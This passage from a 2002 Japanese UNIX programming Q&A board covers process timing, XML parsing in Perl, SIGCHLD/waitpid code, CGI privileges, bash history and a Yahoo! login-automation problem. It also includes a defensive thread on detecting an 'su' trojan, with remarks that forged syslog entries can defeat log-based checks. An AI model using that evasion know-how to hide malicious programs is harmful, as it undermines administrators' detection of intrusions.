としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。

No. 2960 # 68user 2002/12/02 (月) 08:58:04
>>2959 KENT1
お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、
てきとーに試してみてください。
    /usr/bin/time ls >& file
    /usr/bin/time ls >file 2>&1
    env TERM= csh -c "time ls" > file
    env TERM= bash -c "time ls" > file

No. 2961 # 1202 2002/12/02 (月) 14:50:39
初めまして。初心者なので質問自体が意味不明かもしれませんが、
システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。

No. 2962 # 68user 2002/12/02 (月) 15:20:34
>>2961 1202
> ディスク使用量
statfs(2), fstatfs(2)

> CPU使用量
プロセス単位の情報かシステムの情報を取るのかわかりませんが、
Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を
読むような API が用意されているかもしれませんが、わかりません。

後は man -k stat、man -k cpu、man -k disk などを活用してください。

No. 2963 # 1202 2002/12/02 (月) 15:47:40
>>2962 68user
ありがとうございます。
早速試してみます。

No. 2964 # kiki 2002/12/02 (月) 20:25:54
kikiと申します.
68user様,先日はお世話になりました.

お聞きしたいことがあります.

私は今,シェルでpsコマンドを打ち込んだら
標準出力で"psコマンドがうちこまれました."
と出力させるプログラムを作ろうとしています.

この時に,シェルからpsコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させたいのですが,このような事は,プロセス間通信や
デーモンを使うのでしょうか?

皆様のアドバイスをよろしくお願い致します.

また,簡単なデーモンのソースがあるページや,
デーモンを作るにあたってやくだつページを
ご存知でしたら教えてください.

よろしくお願いします.

No. 2965 # 68user 2002/12/03 (火) 01:16:24
>>2964 kiki
前にも書きましたが目的は何ですか? kiki さんの質問は
いつも情報量が足りないと思います。

目的を書かないから前提条件がわからない。前提条件が
わからないから、例えば
    「利用者にばれてもいいのか」
    「シェルのソースをいじるというのはアリなのか」
などもわからない (当然その答えによって解は異なります)。

> また,簡単なデーモンのソースがあるページ
http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。

>>2961 1202
> dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が
> 違ってくるので、、、
ちなみに僕ならば面倒なので GNU df を Solaris に
入れます (仕事であれば特に)。

No. 2966 # kiki 2002/12/03 (火) 02:32:54
2965>>68user様

毎回すみません.

目的は前回の質問でふれたsuトロイの痕跡の検出なんです.
suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが,
/var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
suトロイをリアルタイムに近い形で検出できないか?と考えたのです.

そこで,シェルからsuコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させ,suとコマンドが 実行されているようならば,
/var/log/messageをみて,suの痕跡があるかどうかを調べれば
検出できるだろうと考えたのです.

とりあえずsuコマンドが打ち込まれたかどうかを判定する
部分をまず作ろうと思いましたが,この時にプロセス間で
データのやりとりが必要になったり,デーモンも使うのかな
と思い,質問させていただきました.

「利用者にばれてもいいのか」
    >はい,ばらせる事ができるならば是非そうしたいです.

「シェルのソースをいじるというのはアリなのか」
    >はい,ありです.

毎回わかりづらい書き込みをして申し訳ありません.
ご教授をお願い致します.

No. 2967 # 68user 2002/12/03 (火) 13:04:01
>>2966 kiki
今度は検出なわけですね?

> /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する
ことはできますので、これだけでは正確に判断できません。

では他に判断する方法はあるかというと、決定的なものはないです。
結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ
グラムと判断するか」に帰着するわけで。興味があればアンチウィルス
ソフトがウィルスを検出する手段を調べてみるとよいでしょう。

で、それとは別に「どうやって su がタイプされたことを検出するか」という
話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ
「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行
しようとしているかどうか、というチェックをすればよいでしょう。

プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき
ないなら、使う必要はないということです。


別の解としては、システムコールの発行を hook して安全性をチェック、
というのもありますが、UNIX でこういうのってできるのかなーと思って
調べてみたら、なんかできるようですね。
      http://www.caj.co.jp/support/etrustac_faq.htm
      Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
置き換えているのか…(できるのかな?)

# Windows なら SetWindowsHookEx で簡単なんですけど。

No. 2968 # kiki 2002/12/03 (火) 17:53:30
>>2967 68user様
お返事ありがとうございます.

>syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます

これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ
を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って,
syslogdにメッセージを渡すという事なのでしょうか?


P.S.
システムコールで見分ける,ですね.
確かに,suトロイと本物のsuだとやっている事はちがうから
見分けられるかも知れませんね.アドバイスありがとうございます.

No. 2969 # kiki 2002/12/04 (水) 21:25:13
>>2967 68user様

何回も申し訳ありません.kikiです.

>exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。

これは,システムコールのチェックを自動化させて行なえばよい,
という事なのでしょうか?

基本的な事で申し訳ありません.

No. 2970 # ふくし [E-mail] 2002/12/05 (木) 18:47:37
いつもすいません、質問です。
以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。

カンタンにいうと、入れ子になったタグで囲まれた部分だけを
別ファイルに抜き出し、元ファイルからは削除する、です。

順序を保存して抜く方法と、
保存しないで抜く方法とあると思いますが、
どちらでもかまいません。
(前者の方がいいかなぁ、、)

入力ファイル:

out1
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
out2
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
out3
<tag f>
  in9
</tag>
out4

出力ファイル例1:(順序を保存して抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

出力ファイル例2:(順序を保存しないで抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
        <tag c>
            in3
        </tag>
    <tag b>
        in2
        in4
    </tag>
<tag a>
  in1
  in5
</tag>
    <tag e>
        in7
    </tag>
<tag d>
  in6
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

よろしくお願いします。

No. 2971 # ふくし [E-mail] 2002/12/05 (木) 20:32:07
補足です。
この tag というのは全部同じタグです。
ただオープンタグにかかれている a, b, ... という
アトリビュートが全部違います。

No. 2972 # ふくし [E-mail] 2002/12/05 (木) 23:16:22
さらに補足。(俺って説明下手だな、、;;;
ファイルには <tag> 以外のタグも存在します。
<aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。
その中で下の処理の対象になるのが <tag> だけということです。
<tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、
それも抜いて書き出します。
問題の定義もなかなか奥が深い。

No. 2973 # 68user 2002/12/06 (金) 00:21:32
>>2969 kiki
シェルって何をしているか知っていますか? 簡単に言うと、ユーザが
入力した文字列を解析し、execve(2) を実行することです。

シェルのソースをいじっていいのならば、execve(2) を発行している
部分を探して、そこで su を実行しようとしているかどうかのチェックを
行えばよいのでは、という話です。

>>2970 ふくし
入力が XML なら、
    http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE
の removeChild で一発なような気がします。

XML でないなら構文解析してスタックに積んで…といきたいところですが、
僕は軟弱なので
    - s|<tag .*?>.*?</tag>||
    - 削除したのが足りなかった
            (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった)
        なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。
とします。

No. 2974 # 68user 2002/12/06 (金) 01:04:43
>>2967 68user
> 別の解としては、システムコールの発行を hook して安全性をチェック、
> というのもありますが、UNIX でこういうのってできるのかなーと思って
> 調べてみたら、なんかできるようですね。
>   http://www.caj.co.jp/support/etrustac_faq.htm
>     Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
> カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
> 置き換えているのか…(できるのかな?)

最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。
詳しい人がいらっしゃったら教えてください。

全てのシステムコールは
      http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8
を経由するんじゃないかと思っているのですが、もしそれが正しいなら
ここにチェック機能を入れた libc を用意して置き換えるか、あるいは
LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。

どちらにせよアセンブラができないので、
      http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html
を買って勉強かな…。

No. 2975 # ふくし 2002/12/06 (金) 10:29:54
>>2973 68user
さん、ありがとうございます。
まさに xml で、そのパッケージすごく便利そうなんですが
使い方がよくわかりません ;;;
でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。

No. 2976 # 68user 2002/12/06 (金) 11:02:25
>>2975 ふくし
別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が
幸せ度が高いかと。

# 僕は使ったことないですけど。

No. 2977 # UMA 2002/12/06 (金) 13:15:47
通りすがりのものですが・・・

システムコールをhookして安全性を云々というのは、
たとえば
        Systrace - Interactive Policy Generation for System Calls
        http://www.citi.umich.edu/u/provos/systrace/
こういったもののことでしょうか?
(OpenBSD, NetBSD にはマージされています)

No. 2978 # UMA 2002/12/06 (金) 13:17:35
X68000の、内臓フォントを利用するインターフェースを調べています。
フリーで有用な文書がありましたら教えていただけないでしょうか?
>識者

なお当方X68000に関する知識は皆無でございます。

No. 2979 # KENT1 2002/12/06 (金) 16:14:05
>>2960 68user様 報告が遅れまして申し訳ありません。
/usr/bin/time 実行コマンド >& 出力ファイル
を実行した結果うまくいきました。ありがとうございました。

No. 2980 # ふくし [E-mail] 2002/12/06 (金) 17:05:36
タグのパースの件です。
別解ですが、会社の若い者が作ったプログラムが無事動きました。

で、せっかくなので XML::DOM を入れようとしたら、
XML::Parser を入れよと言われたので、
XML::Parser を入れようとしたら、
expat を入れよと言われたので、
expat の tar.gz を解いて ./configure して Makefile を
#prefix = /usr/local
prefix = /henna_directory
として make したら(ぼくは管理者でないので)、
  gcc: unrecognized option `-R/henna_directory/lib'
といわれました。ここで止まっています。
ちなみに /henna_directory/lib というディレクトリはあります。
(ついでにいうと、bin も include も man も)
待て次号。;;;

No. 2981 # 68user 2002/12/06 (金) 22:59:42
>>2977 UMA
> システムコールをhookして安全性を云々というのは、
はい、そういうものを念頭に置いていました (が、ユーザランドで
できたらいいなと。無理なのかな)。

Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。
素晴らしいです。

>>2978 UMA
68user's page で X68000 の疑問が解決したことは一度もなかったりします。
インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に
頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で
聞くのが早いと思います。

>>2980 ふくし
まーいろいろありますが、がんばってインストールしてください。

あと、libwww-perl あたりもいれなきゃいけないのが perl の XML
モジュールのうざいところ。

No. 2982 # kiki 2002/12/07 (土) 02:16:59
>>2973 68user様
お返事ありがとうございます.kikiです.

丁寧なご説明ありがとうございました.
おかげで理解できました.ありがとうございます.

No. 2983 # 68user 2002/12/08 (日) 06:01:43
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。

TeraTerm 経由の mule などで PageUp が効かない場合、
Windows\Program Files\TTERMPRO\KEYBOARD.CNF の
    Remove=329
を ; でコメントアウトし、その下に
    User1=329
を追加。さらにファイルの一番最後に
    User1=329,0,$1B[5~
を追加。

って、ちょっと検索してみたら、
    http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html
の対処と全然違ってますな。なんでアレで PageUp できるんだろう。

No. 2984 # SIGNAL 2002/12/12 (木) 18:51:54
OS: Solaris 2.5.1
プロセスの通知にシグナルを使っています。
これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、
今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。
そこで、質問なのですが
<signal.h>にシグナルを追加できるのでしょうか?
また、出来るとしたら注意しないといけない点や
影響を及ぼす範囲を教えて下さい。

よろしくお願いします。

No. 2985 # 68user 2002/12/13 (金) 12:45:23
>>2984 SIGNAL
シグナルの追加はカーネルを書き換えないと無理です。

シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり
をするのが正解でしょう。

と偉そうなことをいってますが、シグナルが足りず SIGXCPU を
使って逃げたことはあります。

No. 2986 # koko 2002/12/16 (月) 14:34:40
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス
が認識する方法があれば情報提供をお願いします。

・親プロセスはwaitしません。
・子プロセスは同じものが複数生成されます。(順次生成)

ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。
理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果
が格納されるようなものです。

No. 2987 # 68user 2002/12/18 (水) 08:51:46
>>2986 koko
> ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
> や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、
の方法を取らないのであれば、無理なんじゃないでしょうか。

No. 2988 # hsj 2002/12/18 (水) 14:58:58
>>2986 koko
> ・親プロセスはwaitしません。
親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで
チェックするのもダメですか?
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <sys/wait.h>

void handler(int sig)
{
        int pid,status,code;

        while((pid=waitpid(-1,&status,WNOHANG))>0)
        {
                if(WIFEXITED(status))
                {
                        code = WEXITSTATUS(status);
                        printf("child process:[%d] was exited with code:[%d]\n",pid,code);
                }
        }
}

int main(int argc,char *argv[])
{
        int i,pid,code;
        char buf[16];
        struct sigaction sa;

        if(argc>1)
        {
                code = atoi(argv[1]);
                srand(code+time(0));
                sleep(rand()%10);
                return code;
        }

        memset(&sa,0,sizeof(sa));
        sa.sa_flags = SA_NOCLDSTOP;
        sa.sa_handler = handler;
        sigaction(SIGCHLD,&sa,0);

        for(i=0;i<10;i++)
        {
                if((pid=fork())<0)
                {
                        perror("fork");
                        return -1;
                }
                if(pid)
                        continue;
                sprintf(buf,"%d",i);
                if(execl("./a.out","./a.out",buf,0)<0)
                {
                        perror("execl");
                        return -2;
                }
        }
        for(;;)
                sleep(1);
        return 0; /* never reaches */
}
--- snip ---
かなり適当ですが。

No. 2989 # koko 2002/12/19 (木) 08:42:04
>>2988 hsj
他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。
試してみたいと思います。

>>2987 68user
今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に
なるかと思います。

ご回答頂き、ありがとうございました。

No. 2990 # 68user 2002/12/20 (金) 02:06:37
>>2986 koko
> ・親プロセスはwaitしません。
ってのは親プロセスにも手を入れたくないという意味かと思った
のですが、wait でブロックさせたくないという意図だったのですね。
読み違えておりました。

No. 2991 # Japper 2002/12/20 (金) 02:55:20
こんにちは
質問があってきました

Perlを使っていると
system関数やexec関数を使うようになりました
便利でとてもよいのですが
Root権限でコマンドが実行されているような気がします
くわしくはまだ確認していません。
また、CGIでファイルマネージャーを使っていますが
これも同じようにパスワードファイルなどを開かれるという欠点があります
全ディレクトリやファイルのパーミッションを000にすることはもちろんできませんし
一部だけのパーミッション設定もだめです
例)/homeを000にするが/home/userが777だとアクセスされてしまう

これらのことからセキュリティーホールとなっていてとても不安です
これらについての対処法はなにかないでしょうか?

No. 2992 # 68user 2002/12/20 (金) 03:08:40
>>2991 Japper
> Root権限でコマンドが実行されているような気がします
perl スクリプト中で
      print "$<\n";
      print "$>\n";
の結果のいずれかが 0 なら root 権限を得ています (が、おそらくは
勘違いではないかと思います)。

> これも同じようにパスワードファイルなどを開かれるという欠点があります
書きかけですが、
      http://x68000.startshop.co.jp/~68user/webcgi/cryptogram.html
が参考になるかもしれません。

No. 2993 # ruku [E-mail] 2002/12/20 (金) 13:27:36
初めまして!YAHOO!オークションのログインをプログラムで実行したいのですが、上手くいきません。ブラウザでの通信のlogをとり、プログラムを組んでいたのですが、どうしてもPOSTした後の3種類のクッキーがとれ
ないのです。上手くいけば下のような3種類のクッキー(個人情報なので***になっています)が返されるのですが、

・・・・・・・・・・ブラウザのlog・・・・・・・・・
<ブラウザのPOST>
POST /config/login?5934sjuoe8ci4 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Content-Length: 259
Pragma: no-cache
Cookie: B=cv85agsv02md9&b=2
Connection: keep-alive
Browser reload detected...
Posting 259 bytes...
.tries=1
.src=auc
.last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc
promo=
.intl=jp
.bypass=
.partner=
.u=cq4ce2ov02mdi
.v=0
.fUpdate=Y
hasMsgr=0
.chkP=Y
.done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus
login=********
passwd=***********

<レスポンス>
HTTP/1.1 302 Found
Date: Thu, 19 Dec 2002 05:31:58 GMT
P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie:****
Set-Cookie:****
Set-Cookie:****

・・・・・・・・・・・・・・・・・・・・・・・・・・・・・

このセッションがどうしても上手くいかず、3種のset-cookie
が取得できないのです。大変お忙しい中恐縮ですが、もしよろしければ、アドバイスをよろしくお願いします。とても見せれるプログラムではありませ
んが、下記に示します。

try{
    URL u = new URL("http://login.yahoo.co.jp/config/login?5934sjuoe8ci4");
    URLConnection uc = u.openConnection();
    uc.setRequestProperty("Cookie:","B=cv85agsv02md9&b=2);
    uc.setDoOutput(true);
    uc.setDoInput(true);
    
    OutputStreamWriter out = new OutputStreamWriter(uc.getOutputStream(), "EUC_JP");
    query.Encode3(".tries","1");
    query.Encode1(".src","auc");
    query.Encode1(".last","http://login.yahoo.co.jp/config/edit_auc");
    query.Encode1("promo","");    *query.Encode()はクエリー文字列にするための関数です。
    query.Encode1(".intl","jp");
    query.Encode1(".bypass","");
    query.Encode1(".partner","");
    query.Encode1(".u",data2);
    query.Encode1(".v","0");
    query.Encode1(".fUpdate","Y");
    query.Encode1("hasMsgr","0");
    query.Encode1(".chkP","Y");
    query.Encode1(".done","http://user.auctions.yahoo.co.jp/jp/show/mystatus");
    query.Encode1("login",ID);
    query.Encode1("passwd",PW);
    out.write(query.toString());
    out.write("\r\n");
    out.flush();
    out.close();
/////////////(1)//////////////////////////////
    for (int j = 0; ; j++) {
        String header = uc.getHeaderField(j);
        if (header == null) break;
        System.out.println(uc.getHeaderFieldKey(j) + ": " + header);
    }
}
catch (Exception a) {
    System.err.println(a);
}


ちなみに(1)で出力されたヘッダ情報は
null: HTTP/1.1 200 OK
Date: Thu, 19 Dec 2002 07:16:58 GMT
Refresh: 900; URL=http://www.yahoo.co.jp/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 05 Jan 1995 22:00:00 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: B=el2pemcv02sja&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/;
domain=.yahoo.co.jp

上記のレスポンスを取得してしまい、クッキーが取得できずに先に進めないのです。長くなってしまい、大変ご迷惑をお掛けしますがよろしくお願い致します。
では、失礼します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2994 # hsj 2002/12/21 (土) 10:45:27
>>2993 ruku
いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と
.uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを
POSTすれば行けるんじゃないでしょうか。
この手のwebアプリはログイン後の画面ではCookieだけでなく、
それ以外の手段でもユーザを一意に識別する何らかの値を持ちまわらせ、
Cookieの(そのものでなく大抵はセッションオブジェクトなりDBなりに
入れた)値とのクロスチェックでユーザを認証している場合があります。
YAHOO!オークションがどうなっているかは知りませんが、
その手の仕組みが組み込まれているんじゃないでしょうか。

No. 2995 # 68user 2002/12/21 (土) 22:50:15
>>2993 ruku
うまくいかないときのアプローチとしては、まずはやっぱり telnet とか
Socket で直接つなぐ方がいいんじゃないでしょうかね。

アクセスに成功する QUERY は知っているし、失敗する QUERY も
知っているわけで (よくわかってませんが、OutputStreamWriter に
細工をすればリクエストの生データが取れるんですよね? )

その 2つの内容をつきあわせて一つ一つチェックすると。ないとは
思いますが、もしかしたら USER_AGENT で制限かけてたりする
かもしれませんし。

No. 2996 # kiki 2002/12/22 (日) 18:25:54
おひさしぶりです。kikiです。前回はお世話になりました。
今回もお聞きしたいことがあり、書き込ませていただきました。

今、私はbash(2.04)をいじって、以下のことが
したいと思っているのです。それは

1.コマンドが実行された時間をそのコマンド履歴といっしょに
    特定のファイルに出力する。(.bash_historyに
    タイムスタンプをつける感じです。
2.特定のファイルにコマンド履歴が追加されるタイミングを
  そのコマンドが打ち込まれた直後になるようにする。
    
このようなことはbashのソースを書き換えればできるのでしょうか?
どうかご教授をよろしくお願い致します。

P.S.
history -w の様なことを自動的にできればいいのですが、
historyコマンドは、シェル自身のコマンドなので無理でしょうし。
うーん。

No. 2997 # ruku 2002/12/23 (月) 12:44:14
>>2994 hsj
貴重なアドバイスありがとうございます。いちおう.uやcookieの値はお書きしたプログラムの前で取得しているので問題はないと思うのですが・・・。これがなかなか上手くいかないのです。

>>2995 68user
ソケットで試してみます。貴重なアドバイスありがとうございました。

No. 2998 # ruku 2002/12/23 (月) 13:55:38
度々すみません。ブラウザの設定でcookieを無効にして再度logをとったら
プログラムと同じになりました。次にlogを示します。

+++GET 457+++
POST /config/login?2v1pmh3i6v229 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Content-Length: 259
Pragma: no-cache
Connection: keep-alive
Browser reload detected...
Posting 259 bytes...
.tries=1
.src=auc
.last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc
promo=
.intl=jp
.bypass=
.partner=
.u=5g07ercv0d4tr
.v=0
.fUpdate=Y
hasMsgr=0
.chkP=Y
.done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus
login=*************
passwd=*****************

+++RESP 457+++
HTTP/1.1 302 Found
Date: Mon, 23 Dec 2002 04:40:38 GMT
P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: ******
Set-Cookie: ******
Set-Cookie: ******
+++CLOSE 457+++

+++GET 458+++
GET /config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Pragma: no-cache
Connection: keep-alive
Browser reload detected...

+++RESP 458+++
HTTP/1.1 200 OK
Date: Mon, 23 Dec 2002 04:40:38 GMT
Refresh: 900; URL=http://www.yahoo.co.jp/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 05 Jan 1995 22:00:00 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: B=2m7te28v0d4u6&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp
+++CLOSE 458+++

cookieを無効にしても3種のcookieはとれるようなのです。しかも最後の
ヘッダの応答はプログラムでもとれているのです。ただ、POSTを送る処理
しかプログラムでは行っていないはずなのに最後のヘッダの応答を取得して
しまうのはどうしてでしょうか?もしよろしければアドバイスよろしくお願いします。もしかしたら応答ヘッダの取得する場所が悪いのでしょうか?

No. 2999 # hsj 2002/12/24 (火) 03:44:56
>>2998 ruku
先ほど試しにncで
> いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と
> .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを
> POSTすれば行けるんじゃないでしょうか。
をやってみたところ、問題なく3つのCookieが発行されました。
#ただし、最初のGETは/cofig/login?.src=aucに対して行いました。
なので、プログラムが正確に上記の事を行えば問題なく行けると思いますが・・・。

No. 3000 # 68user 2002/12/24 (火) 14:28:48
> 2996
> このようなことはbashのソースを書き換えればできるのでしょうか?
入力を解析し、プロセスを実行しているのは bash なので、ソースに手を
いれれば何でも可能です。

No. 3001 # kiki 2002/12/25 (水) 11:14:10
>3000 68user様
お返事ありがとうございます.kikiです.
やってみましたところ、なんとかできました。
ありがとうございました。

No. 3002 # koko 2002/12/25 (水) 15:21:54
C言語で複数のプロセスが同一のファイルに対してログを出力する処理を作成したいのですが、このような共有書き込み用のファイルを設ける方法としてUNIXでよくやる方法というものはあるでしょうか。
もちろん、定石でなくても良いです。
できれば、書き込み時に自分でファイルをロック、アンロックしない、要するにできるだけ楽をしたいです。
ログの書き込みは同時に発生する可能性があります。
Windowsであれば、共有書き込みでファイルを開く関数があるのですが...。

●処理イメージ
1.親プロセスでログファイルを開く。
2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。
3.全子プロセス終了後にログファイルを閉じる。

よろしくお願い致します。

No. 3003 # yuuji 2002/12/25 (水) 15:37:40
はじまめして
UNIXのファイルアクセスでつまづいています。
Aという、所有者がnobody のファイルがあるのですが、あるunixサーバでは
webというユーザからアクセス(名前変更)ができます。
ところが、同じOSの別のサーバにあるBという、所有者がnobodyのファイル
にはwebというユーザからアクセスできません。
nobodyのファイルはどのユーザでもアクセスできると認識しているのです
が、ソフトのインストールやセキュリティの設定などでアクセスできないようにすることが可能なのでしょうか?
どなたかご存知の方いらっしゃいましたら教えてください。

No. 3004 # Japper 2002/12/25 (水) 22:25:47
>>2992 68user

ご回答ありがとうございます
パスワード的なことはやはりcrypt関数を使うことで解決できそうな気がします

>> Root権限でコマンドが実行されているような気がします
>perl スクリプト中で
> print "$<\n";
> print "$>\n";
>の結果のいずれかが 0 なら root 権限を得ています

やはり両方とも 0 を返しました
このことからRoot権限を得ているのでしょうか?
Root権限を与えない方法はどのようにすればよいのでしょうか?

よろしくお願いします

No. 3005 # Eiichi 2002/12/26 (木) 10:45:40
> 3003 yuuji

WebサーバがApacheならsuEXECを使えばいいと思いますよ。
http://httpd.apache.org/docs/suexec.html

No. 3006 # ruku 2002/12/26 (木) 13:20:22
>>2999 hsj
ありがとうございます。わかりました。頑張ってみます。

No. 3007 # 68user 2002/12/27 (金) 01:33:01
>>3002 koko
> できれば、書き込み時に自分でファイルをロック、アンロックしない、
> 要するにできるだけ楽をしたいです。
これを第一に考えるなら syslog か、syslog-ng を使いましょう。

daemon を立ち上げておけないのなら、open で O_SHLOCK を使うとか
(ま、結局ロックしているわけですが)。

また、
> 1.親プロセスでログファイルを開く。
> 2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。
